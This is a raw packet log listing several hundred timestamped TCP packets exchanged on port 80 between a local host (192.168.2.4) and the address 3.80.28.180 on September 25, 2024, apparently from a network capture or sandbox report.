Sep 25, 2024 03:51:28.702033997 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.702049017 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.702064991 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.702080011 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.702096939 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.702110052 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.702110052 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.702110052 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.702127934 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.702142954 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.702172041 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.702172041 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.702213049 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.702229977 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.702272892 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.702379942 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.702395916 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.702411890 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.702428102 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.702438116 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.702445030 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.702461958 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.702485085 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.702485085 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.702534914 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.702579021 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.737540007 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.737560987 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.737579107 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.737616062 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.737622976 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.737641096 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.737659931 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.737698078 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.737699032 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.737766981 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.780473948 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.786838055 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.786856890 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.786874056 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.786922932 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.786938906 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.786942005 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.786955118 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.786976099 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.787014008 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.787014961 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.787031889 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.787049055 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.787062883 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.787101984 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.787101984 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.787110090 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.787126064 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.787142038 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.787183046 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.787242889 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.787267923 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.787286997 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.787296057 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.787303925 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.787319899 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.787336111 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.787364960 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.787364960 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.787441969 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.787457943 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.787475109 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.787522078 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.787556887 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.787626982 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.787642956 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.787658930 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.787674904 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.787689924 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.787695885 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.787707090 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.787724018 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.787738085 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.787750959 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.787750959 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.787755966 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.787776947 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.787832975 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.787914038 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.787930012 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.787931919 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.787945986 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.787967920 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.787982941 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.787998915 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.788007975 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.788007975 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.788055897 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.790966034 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.790996075 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.791009903 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.791049004 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.791055918 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.791064978 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.791081905 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.791106939 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.791161060 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.791177988 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.791218042 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.791218042 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.791275978 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.791292906 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.791307926 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.791325092 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.791361094 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.791361094 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.791646957 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.791662931 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.791676998 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.791693926 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.791708946 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.791723967 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.791738033 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.791738033 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.791742086 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.791759014 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.791773081 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.791774988 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.791791916 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.791805983 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.791819096 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.791834116 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.791850090 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.791866064 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.791876078 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.791876078 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.791884899 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.791901112 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.791918039 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.791920900 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.791937113 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.791941881 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.792017937 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.792129040 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.792144060 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.792160988 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.792176962 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.792191982 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.792193890 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.792210102 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.792226076 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.792241096 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.792248011 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.792248011 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.792257071 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.792273045 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.792289972 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.792305946 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.792340040 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.792474985 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.792490005 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.792505026 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.792520046 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.792537928 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.792546034 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.792546034 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.792608023 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.792625904 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.792679071 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.792679071 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.792689085 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.792737961 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.792759895 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.792927027 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.792943954 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.792959929 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.792970896 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.792970896 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.792977095 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.792993069 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.793009043 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.793025017 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.793035030 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.793035030 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.793040991 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.793056965 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.793064117 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.793073893 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.793091059 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.793108940 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.793108940 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.793175936 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.793337107 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.793353081 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.793369055 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.793384075 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.793392897 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.793401003 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.793416977 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.793433905 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.793445110 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.793459892 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.793467045 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.793478012 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.793488026 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.793546915 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.828605890 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.828654051 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.828680038 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.828696012 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.828710079 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.828725100 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.828727007 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.828746080 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.828778028 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.828830004 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.878017902 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.878040075 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.878067970 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.878082991 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.878099918 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.878118038 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.878137112 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.878173113 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.878190041 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.878226995 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.878241062 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.878248930 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.878266096 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.878333092 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.878370047 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.878386021 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.878401041 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.878417015 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.878433943 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.878433943 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.878473997 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.878623962 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.878639936 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.878657103 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.878673077 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.878695011 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.878706932 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.878778934 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.878797054 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.878813028 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.878830910 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.878846884 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.878865957 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.878881931 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.878881931 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.878918886 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.879122019 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.879138947 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.879154921 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.879169941 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.879184961 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.879185915 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.879204035 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.879205942 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.879220963 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.879240036 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.879240036 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.879257917 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.879275084 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.879276037 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.879292965 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.879331112 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.879359007 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.879646063 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.882181883 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.882215023 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.882229090 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.882236958 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.882245064 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.882265091 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.882281065 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.882314920 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.882328987 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.882344961 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.882359982 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.882368088 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.882368088 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.882379055 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.882415056 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.882430077 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.882517099 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.882529974 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.882545948 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.882563114 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.882586956 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.882595062 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.882606030 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.882625103 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.882648945 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.882710934 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.882853985 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.882870913 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.882886887 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.882905960 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.882921934 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.882937908 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.882947922 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.882947922 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.882956982 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.882972956 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.883018017 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.883068085 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.883126974 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.883145094 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.883162022 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.883203030 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.883287907 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.883306026 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.883322001 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.883342028 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.883349895 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.883366108 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.883380890 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.883402109 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.883426905 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.883434057 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.883445024 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.883462906 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.883485079 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.883513927 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.883646965 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.883663893 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.883680105 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.883696079 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.883713007 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.883728027 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.883784056 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.883795023 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.883811951 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.883826971 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.883852959 CEST	80	49730	3.80.28.180	192.168.2.4
